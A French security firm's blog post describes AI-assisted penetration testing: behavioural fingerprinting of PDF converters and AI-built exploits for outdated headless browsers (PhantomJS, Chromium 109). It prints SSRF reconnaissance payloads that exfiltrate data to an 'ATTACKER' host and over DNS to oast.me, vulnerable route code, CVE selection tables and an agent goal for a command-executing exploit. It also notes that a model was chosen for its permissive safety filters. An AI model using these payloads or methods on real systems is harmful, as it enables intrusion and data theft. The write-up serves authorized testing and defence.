Expertise
sectorielle
Chaque secteur impose ses propres contraintes réglementaires, ses certifications spécifiques et ses standards de sécurité. ACCEIS maîtrise chaque écosystème.
Sécurité offensive
& audit technique
Identifier les failles réelles, mesurer leur impact et fournir des recommandations actionnables, par l'attaque (sécurité offensive) et par la revue (audit technique).
Gouverner, évaluer
& conformer
Organiser la sécurité dans la durée et répondre à vos exigences réglementaires avec une approche pragmatique, adaptée à votre maturité et à vos enjeux métiers.
Évaluer
Préparer, structurer et piloter vos démarches de certification et de qualification pour maximiser vos chances de succès.
À propos
Une équipe d'experts techniques passionnés que vous pourrez croiser en CTF, colloques et salons cybersécurité.
← Tous les articles

IA et test d'intrusion : fingerprinting, CVE et exploitation de navigateurs headless

Avant l’IA, les auditeurs identifiaient des composants vulnérables, remontaient la version et les CVE associées, mais s’arrêtaient là. Reproduire l’exploitation d’une CVE sur un composant spécifique demande du temps, un environnement de test, et souvent une expertise pointue sur la technologie ciblée. En une semaine d’audit, on n’a pas le temps de transformer une CVE théorique en PoC fonctionnel. Le composant était remonté comme vulnérable, sans démonstration d’impact réel. Résultat : des vulnérabilités d’obsolescence classées en sévérité faible ou moyenne, alors qu’elles peuvent mener à une RCE dans les pires cas.

L’IA a changé la donne. En reproduisant le setup cible en local et en laissant l’IA itérer sur le développement du PoC, ces exploitations deviennent accessibles dans le temps d’un audit. Des composants obsolètes qui généraient une ligne dans un rapport deviennent des RCE démontrées. Cet article illustre ce changement à travers des cas concrets issus de nos missions : identification de composants backend par analyse comportementale et génération de PoC sur des navigateurs headless vulnérables.

Note L’utilisation de l’IA dans nos tests d’intrusion suit un cadre strict. Aucune donnée client n’est transmise à l’IA : la génération de PoC se fait en local, sur des environnements de lab reproduisant la cible, sans information identifiant le client ou son infrastructure. Lorsque l’IA est utilisée pour des interactions actives avec le périmètre audité, cela est couvert par la fiche d’autorisation d’audit signée avec le client.

Identification de technologies backend par analyse comportementale

En test d’intrusion, identifier la technologie derrière une fonctionnalité conditionne la suite de l’analyse : surface d’attaque, CVE applicables, vecteurs de contournement. Ce fingerprinting repose habituellement sur la connaissance et l’expérience de l’auditeur. Des outils comme Wappalyzer ou Nuclei identifient des signatures connues (headers, fichiers exposés, cookies), mais ne permettent pas d’identifier la technologie derrière un endpoint qui ne présente aucun marqueur explicite. En lançant une IA en autonomie sur un endpoint, il est possible d’automatiser cette identification par analyse comportementale.

Exemple : fingerprinting de convertisseurs HTML vers PDF

Pour illustrer cette approche, nous avons mis en place un lab avec cinq convertisseurs exposant la même API (POST /convert, HTML en entrée, PDF en sortie) :

  • wkhtmltopdf (Qt WebKit)
  • dompdf (PHP)
  • mPDF (PHP)
  • Puppeteer (Headless Chrome)
  • PhantomJS 2.1.1 (Qt WebKit)

Les métadonnées PDF et les headers HTTP révélateurs ont été volontairement nettoyés pour forcer le fingerprinting par analyse comportementale uniquement.

Schéma du lab de fingerprinting comportemental : Claude Code interroge 5 endpoints identiques pour identifier le convertisseur sous-jacent

L’IA a été lancée en autonomie sur chaque endpoint. En 5 minutes, elle a testé le support CSS (pseudo-éléments, @page), l’exécution JavaScript, la résolution réseau, la structure interne du PDF généré et les polices embarquées.

Résultats :

TechnologieIdentification
wkhtmltopdfMarqueurs __WKANCHOR_* dans les outlines, scale 0.75 (96 vers 72 DPI), fuite du chemin temporaire dans les liens internes (file:///tmp/tmp*.html)
dompdfPDF 1.7, structure CPDF, fonts Type1 standard (Times-Roman, Courier), support ::before
mPDFPréfixe MPDFAA+ dans les noms de fonts, police FreeSans, TrimBox, groupe de transparence
PuppeteerStructTreeRoot (PDF tagué accessible), rendu Skia
PhantomJSMême moteur Qt/WebKit que wkhtmltopdf mais sans outlines, sans __WKANCHOR_*, scale 1:1

Les cinq convertisseurs ont été identifiés correctement. À noter que wkhtmltopdf et PhantomJS partagent le même moteur Qt/WebKit, mais l’IA a su les discriminer par la génération automatique de signets PDF (__WKANCHOR_*) et le facteur d’échelle 0.75 appliqué au rendu, deux comportements propres à wkhtmltopdf. Le nombre de technologies de génération de PDF, leurs versions et leurs subtilités de rendu rendent ce type de discrimination difficilement réalisable manuellement dans un temps d’audit raisonnable.

Cette approche s’applique à tout composant identifiable par son comportement : sanitizer HTML, WAF, moteur de template, pipeline de traitement d’images / vidéos (imagemagick, ffmpeg, etc.).

Du fingerprint au PoC – exploitation de navigateurs headless

Lors de deux missions distinctes, des fonctionnalités faisant appel à des navigateurs headless obsolètes introduisaient des vulnérabilités de type SSRF / Server-Side XSS. Dans le cas d’une Server-Side XSS, si le navigateur est obsolète, il est parfois possible d’exploiter des CVE du moteur de rendu pour obtenir une RCE.

Identifier la bonne CVE, monter un lab, adapter un PoC au contexte cible : c’est exactement le type de travail que l’IA rend réalisable en quelques heures, contre plusieurs jours, voire semaines, de travail manuel auparavant.

Cas n°1 – PhantomJS 2.1.1

La vulnérabilité

Lors de l’audit du code source d’une application d’un client, nous identifions une fonctionnalité de capture d’écran d’URL. Le code source révèle que l’URL utilisateur est transmise directement au navigateur headless sans aucune validation, introduisant des vulnérabilités de type SSRF et Server-Side XSS.

const phantom = require('phantom');

async function render(targetUrl) {
    const instance = await phantom.create();
    const page = await instance.createPage();
    await page.open(targetUrl);
    return await page.renderBase64('PNG');
}

La route qui l’expose :

router.get('/preview', async (req, res, next) => {
    const url = req.query.url;
    if (!url) return next(new Error('Missing url parameter'));

    const screenshot = await renderer.render(url);
    res.type('html');
    res.send('<img src="data:image/png;base64,' + screenshot + '">');
});

targetUrl passe directement dans page.open() : pas de filtrage de schéma, pas de restriction réseau. La dépendance dans package.json :

"phantom": "^6.0.3"

Le package phantom est un wrapper Node.js qui embarque le binaire PhantomJS via phantomjs-prebuilt.

Reconnaissance

Ici, l’accès au code source donne directement la version via package.json. Sans accès au code, il aurait été possible de l’identifier en pointant la SSRF vers un serveur contrôlé :

<script>
  new Image().src = "https://ATTACKER/fp?ua="
    + encodeURIComponent(navigator.userAgent);
</script>

Le User-Agent retourné :

Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko)
PhantomJS/2.1.1 Safari/538.1

PhantomJS est un projet abandonné depuis 2018. Il embarque QtWebKit 5.5.1, un fork de WebKit basé sur la branche 538.1 datant de 2013-2014. Soit plus de dix ans de CVE WebKit non patchées.

Recherche de CVE

La recherche de CVE exploitables sur une branche WebKit de 2013 passe par un croisement entre recherche manuelle (bases CVE, advisories, PoC publics sur GitHub) et IA pour filtrer et évaluer la viabilité de chaque candidat. Plusieurs CVE WebKit ressortent :

CVETypePoC publicCompatible QtWebKitSans interactionFiabilité
CVE-2013-2842UAF SVG viewTarget✓✓✓✗
CVE-2014-1303Heap overflow CSS✓✓✓✓
CVE-2016-4657Memory corruption JSC✓✗✓✗
CVE-2018-4441UAF WebKit✓?✓✗

Des CVE plus récentes existent (CVE-2018-4441, CVE-2020-9802, etc.), mais elles ciblent des versions de WebKit postérieures au fork QtWebKit 538.1. Leur compatibilité avec PhantomJS est incertaine et nécessiterait un portage. La CVE-2016-4657 cible les internals JSC d’Apple WebKit, incompatibles avec QtWebKit. La CVE-2013-2842 est un UAF dont la fiabilité dépend du timing du heap.

La CVE-2014-1303 est le meilleur candidat : heap buffer overflow dans getMatchedCSSRules(), overflow déterministe, PoC publics multiples, et des conditions d’exploitation idéales sur le binaire PhantomJS :

  • Binaire non-PIE : adresses fixes, pas besoin de contourner l’ASLR
  • Pas de Full RELRO : la GOT est accessible en écriture
  • Pool JIT en RWX : écriture et exécution de shellcode dans la même zone mémoire

Cas n°2 – IronPDF / Chromium 109

La vulnérabilité

Sur une autre mission, l’application expose une fonctionnalité de génération de documents. En tant qu’utilisateur, il est possible d’ajouter des valeurs qui sont intégrées au document final. Aucun filtrage n’est effectué sur le contenu injecté. En injectant du HTML dans ces champs, on constate que le contenu est interprété dans le PDF généré : c’est une Server-Side XSS.

Cette Server-Side XSS permet également d’émettre des requêtes depuis le serveur (SSRF). Un proxy Squid en frontal bloque l’exfiltration HTTP/HTTPS sortante, mais les requêtes DNS passent. Via cette SSRF, il a été possible d’accéder au service de metadata cloud et de récupérer des secrets d’un Key Vault. L’impact reste cependant modéré : pas de latéralisation possible sur le cluster Kubernetes du périmètre.

C’est l’exploitation du navigateur headless lui-même qui permet d’aller plus loin. Pas d’accès au code source cette fois : l’identification du navigateur passe par l’exfiltration du User-Agent via DNS.

Reconnaissance

Le proxy Squid bloque les connexions HTTP/HTTPS sortantes, mais les requêtes DNS passent. L’exfiltration du User-Agent se fait donc via DNS :

<script>
function hex(s) {
  var h = '';
  for (var i = 0; i < s.length; i++)
    h += s.charCodeAt(i).toString(16).padStart(2, '0');
  return h;
}
function exfil(data, id) {
  var h = hex(data);
  var size = 50;
  for (var i = 0; i < Math.ceil(h.length / size); i++) {
    new Image().src = 'http://' + h.substring(i * size, (i + 1) * size)
      + '.' + i + '.' + id + '.oast.me';
  }
}
exfil(navigator.userAgent, 'COLLAB_ID');
</script>

Les chunks DNS reçus, une fois décodés :

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
  (KHTML, like Gecko) HeadlessChrome/109.0.5414.0 Safari/537.36

HeadlessChrome 109. Cette version, sortie en janvier 2023, est la dernière à supporter Windows 7 et 8, ce qui explique sa persistance dans certains environnements. L’en-tête identifie également IronPDF comme technologie de génération, une bibliothèque .NET qui embarque Chromium pour le rendu HTML vers PDF.

Recherche de CVE

Même approche que pour PhantomJS : croisement entre recherche manuelle et IA pour identifier les CVE V8 exploitables sur Chrome 109. Plusieurs candidats ressortent :

CVETypePoC publicAffecte Chrome 109Sans interactionFiabilité
CVE-2023-2033Type confusion V8 (the_hole)✓✓ (fixé en 112)✓~
CVE-2023-3079Type confusion V8 (IC handler)✓✓ (fixé en 114)✓✓
CVE-2023-4427OOB read V8 (for-in)✓✓ (fixé en 116)✓~
CVE-2024-0519OOB memory access V8✗✓ (fixé en 120)✓✓

La CVE-2023-2033 dispose d’un PoC atteignant la lecture/écriture arbitraire mais sans chaîne RCE complète. La CVE-2023-4427 exploite le cache d’énumération for-in avec exécution via un pointeur WASM, mais la fiabilité est moyenne. La CVE-2024-0519, exploitée in-the-wild, n’a pas de PoC public standalone.

La CVE-2023-3079 est retenue : type confusion dans le KeyedStoreIC handler, exploitée in-the-wild avant son patch en juin 2023, avec une chaîne RCE renderer complète documentée par mistymntncop.

Contrainte supplémentaire : le proxy Squid bloquant les connexions sortantes, l’exfiltration des résultats de la RCE devait également passer par DNS.

Génération des PoC avec l’IA

Mise en place du lab

Dans les deux cas, la démarche est identique. On reproduit l’environnement cible dans un container Docker avec la version exacte du navigateur headless. Le container est enrichi avec des outils qui permettent à l’IA d’analyser les crashs et d’itérer en autonomie. Le choix des outils dépend du moteur ciblé :

  • gdb + pwndbg, strace, binutils pour le debugging et l’analyse du binaire
  • d8 (shell V8 standalone) pour l’introspection des objets V8 via --allow-natives-syntax
  • python3, curl, socat pour le scripting et le réseau

Exemple pour le lab Chromium 109 :

FROM debian:bookworm-slim

RUN apt-get update && apt-get install -y --no-install-recommends \
    # Dépendances Chromium
    libnss3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 \
    libxkbcommon0 libxcomposite1 libxdamage1 libxrandr2 libgbm1 \
    libpango-1.0-0 libcairo2 libasound2 libxshmfence1 fonts-liberation \
    libxfixes3 libx11-6 libxext6 libxcb1 libxi6 libxtst6 libglib2.0-0 \
    # Debugging & analyse binaire
    gdb strace binutils xxd \
    # Scripting & réseau
    python3 python3-pip \
    curl socat wget unzip ca-certificates procps \
    && rm -rf /var/lib/apt/lists/*

# pwndbg (plugin GDB pour l'exploitation)
RUN pip3 install --break-system-packages pwndbg

# Chromium 109 (snapshot revision 1069273)
RUN wget -q "https://storage.googleapis.com/chromium-browser-snapshots/\
Linux_x64/1069273/chrome-linux.zip" -O /tmp/chrome.zip && \
    unzip /tmp/chrome.zip -d /opt && rm /tmp/chrome.zip && \
    ln -s /opt/chrome-linux/chrome /usr/local/bin/chromium

WORKDIR /exploit

L’IA a accès au container via des commandes shell. Elle lance l’exploit, observe le crash, inspecte la mémoire, ajuste et relance. C’est cette boucle essai/erreur qui lui permet de converger vers un exploit fonctionnel.

Outils et modèle

Pour la réalisation de nos PoC, notre choix s’est porté sur Claude Opus 4.6 via Claude Code. Opus offre un bon compromis entre capacité de raisonnement sur des chaînes d’exploitation complexes et filtres de sécurité suffisamment permissifs pour le développement offensif dans un cadre professionnel. Cependant, cette approche est réplicable avec d’autres agents de code capables d’exécuter des commandes en boucle, comme Codex avec GPT-5.5.

L’arborescence du lab est simple :

chromium109-exploit/
├── CLAUDE.md
├── Dockerfile
├── CVE-2023-3079/    # repo du PoC public par mistymntncop (base de travail)
├── exploit.html      # généré par l'IA
└── serve.py          # serveur HTTP local pour servir l'exploit

Le fichier CLAUDE.md à la racine donne le contexte du projet à l’agent. Sans contraintes explicites, l’IA a tendance à “résoudre” les problèmes en changeant l’environnement plutôt qu’en adaptant l’exploit. Exemple pour le cas Chromium 109 :

# Structure
- `Dockerfile` : container de test avec Chromium 109.0.5412.0 et outils de debug
- `exploit.html` : page HTML d'exploit, servie au navigateur headless
- `serve.py` : serveur HTTP local pour servir l'exploit

# Commandes
- Build : `docker build -t chromium109 .`
- Run : `docker run --rm -it chromium109`
- Lancer Chromium : `chromium --headless --no-sandbox --disable-gpu --dump-dom http://host.docker.internal:8080/exploit.html`

# Contraintes
- Ne jamais modifier le Dockerfile, le binaire Chromium, ni ses options de lancement
- Ne pas désactiver de protections (ASLR, NX, seccomp, etc.)
- L'exploit final doit être une page HTML autonome rendue par le navigateur headless
- Le HTTP sortant est bloqué (proxy Squid), seul le DNS passe
- Toute modification de l'environnement cible invalide le PoC

L’agent est ensuite lancé en autonomie via /goal, qui définit l’objectif et lance le travail sans autre intervention :

/goal Développer un exploit pour CVE-2023-3079 (type confusion V8) ciblant Chromium 109. L'exploit doit être une page HTML autonome qui exécute une commande système et exfiltre le résultat par DNS.

Résultat – PhantomJS / CVE-2014-1303

PoC fonctionnel obtenu en environ 8 heures de run en autonomie. Le binaire PhantomJS embarque peu de protections mémoire, ce qui a facilité le travail de l’IA. Le PoC lancé sur l’application cible a immédiatement fonctionné et a permis d’exécuter du code sur le serveur avec les privilèges sudo.

Reverse shell obtenu via PhantomJS : exécution de commandes avec privilèges sudo

Un audit web d’une semaine avec deux auditeurs qui se conclut par une RCE. Un résultat qui n’aurait pas été atteignable sans IA.

Résultat – Chromium 109 / CVE-2023-3079

Plus de 24 heures de run en autonomie complète. Chromium est un binaire nettement plus durci, l’IA a dû enchaîner beaucoup plus d’itérations pour arriver à un exploit fonctionnel. Le PoC injecté via la Server-Side XSS a permis d’obtenir une RCE root dans le pod applicatif, ouvrant la voie à une latéralisation sur le cluster.

RCE root via Chromium 109 : exécution de whoami et uname sur le pod Azure

Même constat : sans IA, cette exploitation serait restée une ligne “composant obsolète” dans le rapport, classée en sévérité moyenne.

Conclusion

Il y a un an, on n’aurait pas tenté d’exploiter une CVE navigateur en audit. Trop long, trop spécialisé, pas le temps. On aurait remonté “PhantomJS 2.1.1, projet abandonné, CVE connues” en sévérité moyenne et on serait passé à la suite. Aujourd’hui, on lance un container, on donne un /goal à l’IA, et on revient le lendemain avec une RCE.

Le vrai changement n’est pas que l’IA sait exploiter des CVE. C’est qu’elle rend rentable en temps d’audit des exploitations qui ne l’étaient pas. Le “théoriquement exploitable” du rapport devient une RCE démontrée, et la sévérité passe de moyenne à critique.

Nos cas portent sur des navigateurs obsolètes avec des CVE déjà documentées. Mais la tendance va plus loin : Hacktron a récemment publié une chaîne d’exploitation complète sur Chrome 146, version courante au moment de l’écriture, en utilisant le même modèle (Claude Opus) pour $2,283 de tokens.

Côté défense, la conséquence est directe : le temps pour transformer une CVE en exploit se réduit, mais les cycles de mise à jour restent les mêmes. Un composant obsolète n’est plus protégé par la difficulté technique de son exploitation. Si un auditeur avec un abonnement Claude peut transformer une CVE en RCE en une nuit, un attaquant aussi.